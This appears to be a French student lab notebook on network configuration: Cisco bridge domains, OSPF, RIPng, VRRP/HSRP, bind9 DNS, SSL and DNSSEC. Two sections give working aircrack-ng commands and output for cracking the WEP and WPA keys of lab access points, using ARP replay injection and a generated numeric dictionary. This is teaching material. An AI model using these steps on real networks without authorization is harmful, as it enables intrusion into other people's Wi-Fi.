encapsulation dot1q 3
bridge-domain 3
...</pre>
<pre> int gi0/0/1
no ip address
negociation auto
service instance 2 ethernet
encapsulation dot1q 2
bridge-domain 2
...</pre>
Ainsi, nos sous interfaces sont crées et sont placés dans les différents bridge domain. 

=====Configuration des bridge-domain=====
Afin d'allouer des IP aux différents bridge domain, il faut prévenir le routeur que nous utilisons des bridge-domain: 
<pre> bridge irb </pre>
Ensuite, nous devons préciser quel protocole nous devons utiliser et si les adresses IP des bridge domain seront des adresses routées : 
<pre> bridge 2 protocol ieee
bridge 2 route ip</pre>
Enfin, nous pouvons allouer des IP aux différents bridge domain : 
<pre>int BDI2
ip address 10.60.2.1 255.255.255.0</pre>

Et nous répétons ces opérations pour tous les bridge-domain. 
Afin de tester si notre configuration locale est correcte, nous devons racker notre routeur, le connecter à un des 6006, puis connecter le 6006 à Cordouan (groupe BONDING). Ainsi, nous pourrons voir si nous pouvons ping notre routeur depuis notre VM.

====Travail réalisé la 3e semaine====
=====Test 1=====
Cette semaine, nous avons testés la configuration locale de notre routeur. Nous avons donc tentés de ping le routeur depuis notre VM. 
Pour tester, nous avons besoin d'un port disponible sur CORDOUAN qui est dans le bridge IMA5sc. 
Après des essais laborieux, nous décidons donc de regarder les adresses MAC des ports afin de les rassembler. Si 4 ports ont le même radical MAC, c'est qu'ils font partis d'un groupe de 4. Nous avons donc choisis '''eth4'''. 
Ensuite, il fallait trouver le port physique correspondant a eth4. '''Grâce au fichier /etc/udev/rules.d/70-persistence-net.rules''', on peut voir l'association du port physique à l'interface. Voici l'extrait qui nous intéresse: 
<pre># PCI device 0x14e4:0x1657 (tg3)
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:40", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth4"
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:41", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth5"
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:42", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth6"
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:43", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth7"</pre>
 
On voit bien que eth4 est dans un groupe de 4 ports, ce qui restreint nos choix. Ensuite, on sait que c'est le plus petit des 4 interfaces. Logiquement, ce sera le 1er du groupe. 
On connecte donc ce port au commutateur sur un port qui appartient au VLAN des VM. On connecte ensuite notre routeur au commutateur via un port trunk. 
'''Premier essai: FAIL''' 
=====Test 2=====
Et là, c'est le drame ... On ne ping rien ... 
On se demande donc d'où cela peut venir. 
======Première cause possible : La configuration de CORDOUAN======
Peut-être que c'est CORDOUAN qui est mal configuré. On se place donc sur CORDOUAN, et grâce à la commande '''cdpr''' (Cisco Discovery Protocol Reporter), on peut demander au serveur de chercher ses voisins et d'avoir la configuration de la liaison avec ce voisin. Voici le résultat de cette commande: 
<pre>cdpr -d eth4
cdpr - Cisco Discovery Protocol Reporter
Version 2.4
Copyright (c) 2002-2010 - MonkeyMental.com

Using Device: eth4
Warning opening device (eth4: no IPv4 address assigned)
Waiting for CDP advertisement:
(default config is to transmit CDP packets every 60 seconds)
Device ID
value: Switch_E306
Addresses
Port ID
value: GigabitEthernet4/13</pre>
On voit bien que CORDOUAN détecte qu'il a une liaison avec le switch qui se trouve en E306 et qu'il est connecté via le port Gi4/13. 
======Deuxième cause possible: Le commutateur======
Peut-être donc que c'est le commutateur qui est mal configuré. On se place donc sur le commutateur, et toujours grâce à la commande '''cdpr''', on peut demander au commutateur de trouver ses voisins. Le résultat de cette commande est la suivante: Le commutateur découvre bien notre routeur (cisco), et sait qu'il est connecté sur le port 4/47 (port trunk).
======Dernière cause possible:Le routeur======
On se dit donc que le problème vient du routeur... 
On regarde donc la configuration du routeur, et Mr REDON nous demande pourquoi on n'a pas créé de VLAN. Les VLAN sont traduits par les service instance dans le nouvel IOS, mais peut-être que nous devons encore définir que les paquets venant/sortant de l'interface générale doivent être encapsulé/décapsulé en DOT1Q. 
Après quelques recherches, une première solution a été de préciser sur l'interface des bridge-domain que les paquets étaient encapsulés en DOT1Q. Solution '''peu logique''' vu que l'encapsulation est déjà faite dans les service instance. 
Après encore quelques recherches, une solution plausible est que '''le routeur ne sait pas qu'il faut dé-encapsuler les paquets venant d'un VLAN'''. Théoriquement, il n'enlèverait pas le tag associé à l'encapsulation DOT1Q. 
Une commande cisco à associer à TOUTES les interfaces service instance permet de préciser qu'il faut supprimer le tag associé à l'encapsulation:
<pre>rewrite ingress tag pop 1 symmetric</pre>
Une fois cette commande appliquée à tous les services, nous pouvons effectuer un test préalable : '''Nous connectons un eeePC au commutateur via un port associé au VLAN des VM. L'eeePC serait muni d'une IP dans le réseau des VM.''' 
Résultat '''OK''' 
Nous pouvons donc tenter de ping le routeur depuis la machine virtuelle : 
<pre>ping 193.48.57.171
PING 193.48.57.171 (193.48.57.171) 56(84) bytes of data.
64 bytes from 193.48.57.171: icmp_seq=1 ttl=255 time=0.360 ms
64 bytes from 193.48.57.171: icmp_seq=2 ttl=255 time=0.271 ms
^C
--- 193.48.57.171 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.271/0.315/0.360/0.047 ms</pre>
Notre configuration locale est donc maintenant achevée. Nous pouvons passer à la configuration de l'interconnexion ipv4 et ipv6 de l'école.

====Travail réalisé la 4e semaine====
=====Configuration IPv6=====
Nous avons donc pu commencer la configuration IPv6 de notre routeur. 
Chaque bridge-domain aura son adresse IP dans le réseau IPv6 de l'école, avec un préfixe débutant à 2001:660:4401:60b0::/64. 
La configuration est la suivante, pour chaque BDI: 
<pre>cisco(config)#int BDI6
cisco(config-if)#ipv6 address 2001:660:4401:60b4::/64 eui-64
cisco(config-if)#ipv6 nd prefix 2001:660:4401:60b4::/64 1000 900
cisco(config-if)#ipv6 nd router-preference high
cisco(config-if)#ipv6 enable</pre>
=====Configuration OSPF (IPv4)=====
Dès notre arrivée, Mr.REDON nous a dit que, pour booster le TP, il avait effectué lui-même la configuration OSPF de notre routeur. La voici: 
<pre>router ospf 1
router-id 10.60.2.1
summary-address 10.60.0.0 255.255.0.0
summary-address 193.48.57.160 255.255.255.240
redistribute connected metric 30 subnets
network 192.168.222.0 0.0.0.7 area 1</pre>
=====Configuration RIP (IPv6)=====
Le protocole RIPv6 est une stratégie de routage pour IPv6. Ce protocole est configuré pour le BDI130 (correspondant au VLAN130 d'interconnexion des routeurs de l'école). La configuration de RIP est la suivante: 
<pre>ipv6 router rip tpima5sc
redistribute connected metric 1
redistribute static metric 1
redistribute rip 1 metric 1</pre>
La prise en compte du protocole RIP dans la BDI130 est la suivante: 
<pre>interface BDI130
ip address 192.168.222.1 255.255.255.248
ipv6 address 2001:660:4401:60AA::/64 eui-64
ipv6 enable
ipv6 nd prefix 2001:660:4401:60AA::/64 1000 900
ipv6 nd router-preference High
ipv6 rip tpima5sc enable</pre>
Pour confirmer notre résultat, nous regardons la table de routage IPv6: 
<pre> cisco#sh ipv6 route
IPv6 Routing Table - default - 65 entries
Codes: C - Connected, L - Local, S - Static, U - Per-user Static route
B - BGP, R - RIP, I1 - ISIS L1, I2 - ISIS L2
IA - ISIS interarea, IS - ISIS summary, D - EIGRP, EX - EIGRP external
ND - ND Default, NDp - ND Prefix, DCE - Destination, NDr - Redirect
O - OSPF Intra, OI - OSPF Inter, OE1 - OSPF ext 1, OE2 - OSPF ext 2
ON1 - OSPF NSSA ext 1, ON2 - OSPF NSSA ext 2, a - Application
R ::/0 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:60::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6000::/56 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6002::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6003::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6004::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6005::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6006::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130</pre>
Notre routeur détecte les routeurs de l'école, notre configuration est donc achevée. 
=====Configuration VRRP=====
Le VRRP est un protocole de redondance. Une adresse IP virtuelle (IP flottante) est montée sur 1 des 2 routeurs. Si le routeur sur laquelle est montée l'IP flottante tombe, l'IP est montée sur l'autre routeur. De plus, les machines pourront envoyer les paquets vers l'adresse IP virtuelle, et le VRRP dispatchera les paquets entre les 2 routeurs. 
Voici la configuration VRRP de notre routeur: 
<pre>interface BDI2
ip address 10.60.2.1 255.255.255.0
ipv6 address 2001:660:4401:60B0::/64 eui-64
ipv6 enable
ipv6 nd prefix 2001:660:4401:60B0::/64 1000 900
ipv6 nd router-preference High
vrrp 1 ip 10.60.2.3
vrrp 1 priority 110</pre>
10.60.X.1 est l'espace des adresses IP de notre routeur (4331), 10.60.X.2 est l'espace des adresses IP du routeur 3560E, donc 10.60.X.3 est l'espace des adresses IP flottantes, X représente le numéro du BDI. 
Nous pouvons voir si notre configuration VRRP est effective : 
<pre>cisco#sh vrrp
BDI12 - Group 1
State is Master
Virtual IP address is 193.48.57.173
Virtual MAC address is 0000.5e00.0101
Advertisement interval is 1.000 sec
Preemption enabled
Priority is 110
Master Router is 193.48.57.171 (local), priority is 110
Master Advertisement interval is 1.000 sec
Master Down interval is 3.570 sec

BDI2 - Group 1
State is Master
Virtual IP address is 10.60.2.3
Virtual MAC address is 0000.5e00.0101
Advertisement interval is 1.000 sec
Preemption enabled
Priority is 110
Master Router is 10.60.2.1 (local), priority is 110
Master Advertisement interval is 1.000 sec
Master Down interval is 3.570 sec
</pre>
Cependant, même si notre configuration VRRP est bonne, nous n'arrivons pas à ping 193.48.57.173, qui représente l'adresse IP virtuelle montée sur le bridge-domain des VM. 

=====Craquage de clé WEP=====
On bascule d’abord la carte en mode monitor :
<pre> airmon-ng start xxxxxxxx </pre>
Ensuite on scan tous les réseaux wifi captés par cette même carte :
<pre> airodump-ng –encrypt wep wlan 0 </pre>
On obtient :
<pre>
CH 13 ][ Elapsed: 4 s ][ 2016-03-08 10:32

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:00 -44 2 0 0 11 54e. WEP WEP Wolverine
04:DA:D2:9C:50:53 -66 2 0 0 13 54e. WEP WEP cracotte04
04:DA:D2:9C:50:55 -70 2 91 35 13 54e. WEP WEP cracotte06
04:DA:D2:9C:50:51 -69 4 33 13 13 54e. WEP WEP cracotte02
04:DA:D2:9C:50:57 -67 3 44 19 13 54e. WEP WEP cracotte08
04:DA:D2:9C:50:56 -69 2 38 11 13 54e. WEP WEP cracotte07
04:DA:D2:9C:50:54 -68 2 37 14 13 54e. WEP WEP cracotte05
04:DA:D2:9C:50:58 -70 2 175 70 13 54e. WEP WEP cracotte09
04:DA:D2:9C:50:50 -68 0 142 52 13 -1 WEP WEP <length: 0>
04:DA:D2:9C:50:52 -70 2 171 64 13 54e. WEP WEP cracotte03

BSSID STATION PWR Rate Lost Frames Probe

04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -66 0 - 9e 1160 50
04:DA:D2:9C:50:51 00:0F:B5:92:24:51 -62 0 -48e 34 7
04:DA:D2:9C:50:57 00:0F:B5:92:22:66 -64 0 - 6e 31 6
04:DA:D2:9C:50:56 00:0F:B5:92:23:71 -66 0 -48e 60 6
04:DA:D2:9C:50:54 00:0F:B5:92:23:74 -70 0 -24e 52 11
04:DA:D2:9C:50:58 00:0F:B5:92:23:69 -62 0 -48e 12 140
</pre>

Ici nous avons choisi cracotte06 comme wifi cible. On récupère donc son BSSID : 04 :DA :D2 :9C :50 :55 sur le channel 13 
On surveille uniquement notre cible pour s'assurer qu'une machine s'y connecte bien :
<pre> airodump-ng –w out –c 13 –bssid 04 :DA :D2 :9C :50 :55 wlan0 </pre> 
Pour le craquage, il faut au préalable surchargé de requête ARP le réseau cible pour récupérer un maximum de trame d’échanges.
<pre> aireplay-ng -3 –e cracotte06 –a 04 :DA :D2 :9C :50 :55 –b 04 :DA :D2 :9C :50 :55 –h 00:0F:B5:92:23:6B –x 1000 –n out-ox.cap wlan0 </pre>
Une fois un nombre de trame récupéré assez conséquent, on lance l’utilitaire : <pre>aircarck-ng out_ox.cap</pre> avec out_ox.cap le fichier de sauvegarde contenant toutes les trames ARP récupérées.

On a alors réussi notre craquage au bout de quelque minutes :
<pre>
Aircrack-ng 1.2 beta3

[00:00:01] Tested 785 keys (got 1349085 IVs)

KB depth byte(vote)
0 0/ 2 EE(1862400) 75(1396736) DB(1392128) FF(1388544) 50(1387520)
1 1/ 4 DD(1419264) 1B(1397504) 2C(1392128) 54(1387776) 26(1385728)
2 47/ 2 DB(1365760) 38(1364736) 00(1364480) 22(1364480) 82(1364480)
3 1/ 2 26(1407488) 2C(1390592) 65(1387520) F0(1387520) FE(1387520)
4 4/ 4 F6(1383168) CD(1382656) 7E(1381376) F0(1380096) 58(1379840)

KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ]
Decrypted correctly: 100%
</pre>

====Travail réalisé la 5ème semaine ====
=====Configuration HSRP=====
Le VRRP n'était pas compatible sur le routeur du groupe 6 (3560E) à cause de la trop faible version de 'IOS Cisco. Du coup, il nous a été demandé de mettre en place le protocole en dessous de VRRP, HSRP. 
Le protocole HSRP fonctionne comme le VRRP, et s'implémente, par BDI, comme suit: 
<pre>Sstandby 1 ip 10.60.X.3
standby 1 preempt
standby 1 priority 100</pre>

Il fallait aussi que notre routeur soit connecté au 2e commutateur via une liaison fibre en mode trunk. Ainsi, nous pouvons voir, dans ce qui suit, que le routeur maitre est le routeur 3560E, et que nous sommes en standby ! 
<pre>BDI2 - Group 1 (version 2)
State is Standby
7 state changes, last state change 00:01:16
Virtual IP address is 10.60.2.3
Active virtual MAC address is 0000.0c9f.f001 (MAC Not In Use)
Local virtual MAC address is 0000.0c9f.f001 (v2 default)
Hello time 3 sec, hold time 10 sec
Next hello sent in 0.128 secs
Preemption enabled
Active router is 10.60.2.2, priority 110 (expires in 8.784 sec)
MAC address is d4d7.4842.53c1
Standby router is local
Priority 100 (default 100)
Group name is "Vlan2" (cfgd)</pre>
=====Craquage clé WPA =====

Pour ce craquage, nous avons gardé la même cible, c'est à dire cracotte06. Il faut encore ici s'assurer qu'une machine est connecté à cette borne.
Pour le craquage WPA, il nous faut 2 éléments : 
- Un fichier d'échange contenant le handshake 
- Un dictionnaire contenant toutes les possibilités de valeur que peut avoir la clé.

Ici nous avons simplement récupéré le handshake grâce à la commande d'écoute de la borne :
<pre> airodump-ng -w out --encrypt wpa -c 13 --04 :DA :D2 :9C :50 :55 wlan0 </pre>

Grâce à l'option -w out, il nous a créée un fichier stockant le hanshake.

En parallèle nous avons généré le fichier txt jouant le rôle de dictionnaire, à l'aide d'un programme C.

<pre>
#include <stdio.h>
#include <stdlib.h>

int main(){
FILE *fp=fopen("dico.txt","w+");
int i =0;
for(i=0;i<=99999999;i++){
fprintf(fp,"%08d\n",i);
}
return 0;
}
</pre>

Finalement on utilise l'utilitaire aircrack avec en paramètre le fichier de sauvegarde contenant le handshake ainsi que le fichier texte dictionnaire :
<pre> aircrack-ng -w dico.txt dump-02.cap </pre>
On obtient avec succès au bout de quelque minutes :
<pre>
Aircrack-ng 1.2 beta3

[01:01:47] 12399904 keys tested (3519.77 k/s)

KEY FOUND! [ 12399907 ]

Master Key : F5 4A 19 53 7C DB 88 D1 D0 21 3B FD FF 5F EF CD
D0 DE 05 F5 0F DB 08 79 85 16 17 8B E0 E4 6B 23

Transient Key : 25 94 12 1B 71 2C 49 01 10 44 34 8A 8A 74 36 47
7B 1C D8 3D 77 A5 9B 9D 74 44 DC C7 5F 55 D7 0B
2B 29 83 CC FC 08 7E DF BF A6 B7 76 AF BA D5 8A
07 F0 61 B1 02 3A 56 B2 A2 03 CD 80 20 14 3E D8

EAPOL HMAC : CF 04 96 3D DC 43 B4 D1 0E D5 0F B5 78 2F 57 C9
</pre>
=====Configuration DNS=====
Dans un premier temps, nous réservons sur Gandi notre nom de domaine : speedflash.space 
Ensuite, nous installons les paquets bind9, ainsi que apache2. 
Nous configurons les fichiers nécessaires à la bonne marche du serveur DNS à savoir les fichiers named.conf.local (autorisation de transfert de paquets vers le DNS esclave - Utilisation du bon fichier de zone), puis db.speedflash.space (fichier de zone) 
Voici la configuration de ces 2 fichiers : 
named.conf.local : 
<pre>zone "speedflash.space" {
type master;
file "/etc/bind/db.speedflash.space";
allow-transfer {217.70.177.40;};
};</pre>
217.70.177.40 est l'adresse IP du serveur DNS de Gandi (ns6.gandi.net) que nous avons pris pour serveur esclave. 
db.speedflash.space: 
<pre>;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.speedflash.space. root.speedflash.space (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.speedflash.space.
ns IN A 193.48.57.165
www IN A 193.48.57.165
</pre>
Nous déclarons que notre DNS (ns) est à l'adresse 193.48.57.165, soit l'IP de notre VM. 
Ensuite, pour faire fonctionner le tout, on relance bind : <pre> service bind9 restart </pre> 
Et à l'aide du fichier de log daemon.log, on peut confirmer que bind s'est lancé sans erreur : 
<pre>tail /var/log/daemon.log | grep named
Nov 17 11:52:37 Flash named[1798]: command channel listening on ::1#953
Nov 17 11:52:37 Flash named[1798]: managed-keys-zone: journal file is out of date: removing journal file
Nov 17 11:52:37 Flash named[1798]: managed-keys-zone: loaded serial 3
Nov 17 11:52:37 Flash named[1798]: zone 0.in-addr.arpa/IN: loaded serial 1
Nov 17 11:52:37 Flash named[1798]: zone speedflash.space/IN: loaded serial 2
Nov 17 11:52:37 Flash named[1798]: zone 127.in-addr.arpa/IN: loaded serial 1
Nov 17 11:52:37 Flash named[1798]: zone 255.in-addr.arpa/IN: loaded serial 1
Nov 17 11:52:37 Flash named[1798]: zone localhost/IN: loaded serial 2
Nov 17 11:52:37 Flash named[1798]: all zones loaded
Nov 17 11:52:37 Flash named[1798]: running</pre>

=====Securisation de site par SSL=====
Afin d'obtenir un certificat SSL par Gandi, nous avons besoin d'un CSR. Nous générons donc le CSR par la commande : 
<pre>openssl req -nodes -newkey rsa:2048 -sha1 -keyout serveur.key -out serveur.csr</pre>
Nous fournissons ce CSR à Gandi, puis nous attendons d'avoir notre certificat. Une fois le certificat obtenu, on peut copier les bons fichiers dans SSL : 
<pre>root@Flash:/etc/bind# cp certificat.crt /etc/ssl/certs/speedflash.space.crt
root@Flash:/etc/bind# cp serveur.key /etc/ssl/private/speedflash.space.key
root@Flash:/etc/bind# cp GandiStandardSSLCA.pem /etc/ssl/certs/GandiStandardSSLCA.pem</pre>
GandiStandardSSLCA.pem est un certificat intermédiaire afin de certifier notre certificat. 
Ensuite, nous re-hashons toute la structure afin de prendre en compte notre certificat : 
<pre>
root@Flash:/etc/bind# c_rehash /etc/ssl/certs
Doing /etc/ssl/certs
speedflash.space.crt => ac112f31.0
speedflash.space.crt => a88e5e47.0
GandiStandardSSLCA.pem => 0cad7ee9.0
GandiStandardSSLCA.pem => 3a57595e.0
ssl-cert-snakeoil.pem => 816e77e4.0
ssl-cert-snakeoil.pem => de4674a3.0</pre>
Il faut modifier le fichier 000-speedflash.space-ssl.conf afin d'associer APACHE et notre nom de serveur : 
<pre>NameVirtualHost *:443
<VirtualHost 193.48.57.165:443>
ServerName www.speedflash.space
ServerAlias speedflash.space
DocumentRoot /var/www/www.speedflash.space/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/speedflash.space.crt
SSLCertificateKeyFile /etc/ssl/private/speedflash.space.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA.pem
SSLVerifyClient None
</VirtualHost></pre>
Il faut activer le module SSL de Apache : <pre> a2modssl</pre> 
Nous pouvons donc activer notre Apache avec notre certificat : 
<pre>root@Flash:/etc/bind# a2ensite 000-speedflash.space-ssl.conf
Enabling site 000-speedflash.space-ssl.
root@Flash:/etc/bind# service apache2 reload</pre>
Nous pouvons vérifier que le site est sécurisé en allant sur https://www.speedflash.space et en voyant le cadenas vert. 
=====Securisation de DNS par DNSSEC=====
Il faut générer les clés .key et .private afin de pouvoir signer les zones et les enregistrements. 
<pre> dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE speedflash.space </pre>
<pre> dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE speedflash.space </pre>
l'option -r /dev/urandom est ici pour accélérer la génération des clés 
Nous incluons les clés dans le fichier de zone db.speedflash.space : 
<pre>$include /etc/bind/speedflash.space.dnssec/speedflash.space-ksk.key
$include /etc/bind/speedflash.space.dnssec/speedflash.space-zsk.key</pre>
On signe donc la zone : 
<pre>root@Flash:/etc/bind/speedflash.space.dnssec# dnssec-signzone -o speedflash.space -k speedflash.space-ksk ../db.speedflash.space speedflash.space-zsk
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked
../db.speedflash.space.signed</pre>
 
On ajoute le DNSSEC à Gandi : 
[[Dns-gandi.png]] 
On vérifie que notre DNS est bien sécurisé en essayant la commande : 
<pre>root@Flash:/etc/bind# dig DNSKEY speedflash.space @localhost

; <<>> DiG 9.9.5-9+deb8u8-Debian <<>> DNSKEY speedflash.space @localhost
;; global options: +cmd
;; Got answer:
;; ->>HEADER<;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;speedflash.space. IN DNSKEY

;; ANSWER SECTION:
speedflash.space. 604800 IN DNSKEY 257 3 5 AwEAAaJcjim9pdD8U6InsiCNFzJthDwsiwGgPylxRp5nDuoaGrcDp1LU psBv0iY0VUqzcC+uRhTTfjl6P3yuPsnZYefVlSEeRpn9QR33Hioadbhc aFSuYnfwS/L/R6Kwt2XFz5V/fI/j+M2AtGxhBFgVKtmjvnwEr2VfdkFl d9AZJQu09ajWCJIKeL2dRE5bPbXwkDilgkQkBZUVWtXN7qwnrFnlszpb gSdRKosfhScAUmTerxOV6WybzOYb+9D0r8QrDoIhhCpf1/gczAUzHPWd hb0rxIGHk6seMp1qTotZE3SgxrCwm7H6z4pcXeMfbdNzkrIgcJmum9i0 zsLzlghkAPM=
speedflash.space. 604800 IN DNSKEY 256 3 5 AwEAAcHrx5vtsGzY7LF32x3HRIXRwOBm3WZM02NHY4s0uB2djn6tV52B ss78iXC4O5hdpJ0uOxS0/MNCYNJkIXnWsvAHc6lbdWfQ8Jvnj/aBMz94 agXbxXkseqjlIcF1huspBAi9lcY5hsy59MDek5iNlduy8HK6AVItqeQi HviShcq3</pre>
On remarque bien la présence de DNSKEY qui nous assure que notre DNS est sécurisé.

Cahier 2016 groupe n°5

2016-11-18T12:37:34Z

2016-06-03T14:09:39Z

Troj : /* Summary */